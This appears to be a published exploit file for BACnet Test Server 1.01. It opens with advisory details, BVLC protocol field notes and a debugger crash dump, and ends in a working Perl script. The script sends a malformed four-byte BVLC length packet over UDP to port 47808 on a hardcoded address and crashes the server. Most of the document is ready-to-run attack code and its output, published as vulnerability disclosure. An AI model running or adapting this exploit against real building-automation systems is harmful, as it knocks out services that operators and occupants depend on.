BACNet Test Server version 1.01 suffers from a denial of service vulnerability when sending a malformed BVLC Length UDP packet to port 47808 which causes the application to crash.
c18e464a43c74a4f96d0a72d9e0d01bd#!/usr/bin/perl
#
# BACnet Test Server 1.01 Remote Denial of Service Exploit
#
#
# Vendor: BACnet Interoperability Test Services, Inc.
# Product web page: https://www.bac-test.com
# https://sourceforge.com/projects/bacnetserver
# Affected version: 1.01 (BACnet Stack Version 0.5.7)
#
# Summary: This is a simple BACnet Server aimed at developers who
# want to explore or test their BACnet Client implementations of
# the ASHRAE BACnet protocol. It is based on Steve Karg's fine
# implementation of the BACnet Stack.
#
# Desc: The BACNet Test Server is vulnerable to a denial of service
# (DoS) vulnerability when sending malformed BVLC Length UDP packet
# to port 47808 causing the application to crash.
#
# Type - 0x81
# BVLC Function
# - 0x01 - Write Broadcast Distribution Table
# - 0x02 - Read Broadcast Distribution Table
# - 0x03 - Read Broadcast Distribution Table ACK
# - 0x04 - Forwarded NPDU with optional Originating Device IP address and Port included in BVLL header
# - 0x05 - Register Foreign Device with expiration timeout (Time-to-live) in seconds
# - 0x0a - Original-Unicast-NPDU used to send directed NPDUs to another BACnet/IP device or router.
# Optional Originating Device IP address and Port NOT included in BVLL header.
# - 0x0b - Original-Broadcast-NPDU used by devices (except foreign devices) to broadcast messages on B/IP networks.
# - 0x0c - Secure-BVLL
# - BVLL Length
# - IP address of Originating Device - optional depending on BVLC Function Code
# - Port number of Originating Device - optional depending on BVLC Function Code
# - NPDU - Network Layer Protocol Data Unit
#
# =================================================================
# (67c.2f34): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Program Files (x86)\BACnet Interoperability Testing Services, Inc\BACnet Server\Server.exe
# eax=00600000 ebx=00692000 ecx=009bd796 edx=005fee00 esi=005fec04 edi=005fed00
# eip=00994313 esp=005fec04 ebp=005fed00 iopl=0 nv up ei pl nz ac pe nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
# Server+0x34313:
# 00994313 8810 mov byte ptr [eax],dl ds:002b:00600000=??
# 0:000> d 994313 +77
# 0099438a cccccccc
# 0099438e cccccccc
# 00994392 cccccccc
# 00994396 cccccccc
# 0099439a cccccccc
# 0:000> d esp
# 005fec04 005ff3f8
# 005fec08 005ff408
# 005fec0c 00692000
# 005fec10 cccccccc
# 005fec14 cccccccc
# 004fec18 cccccccc
# =================================================================
#
# Tested on: Microsoft Windows 10 Professional (EN)
# Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2020-5597
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5597.php
#
#
# 05.08.2019
#
use strict;
use warnings;
use IO::Socket::INET;
my $target = "10.0.99.34";
my $porta = 47808;
my $proto = "udp";
my $stype = SOCK_DGRAM;
my $timeout = 1;
my $socket = new IO::Socket::INET (
PeerHost => $target,
PeerPort => $porta,
Proto => $proto,
Type => $stype,
Timeout => $timeout
) or die "Socket error. : $!\n";
print "Connected to: $target:$porta\n";
$| = 1;
binmode $socket;
my $data = "\x81\x09\xFF\xFE";
print "Sending: $data [ ".length($data)." bytes ]\n";
send ($socket, $data, 0) or die "Nope: $!\n";
print "Done.\n";
$socket->close();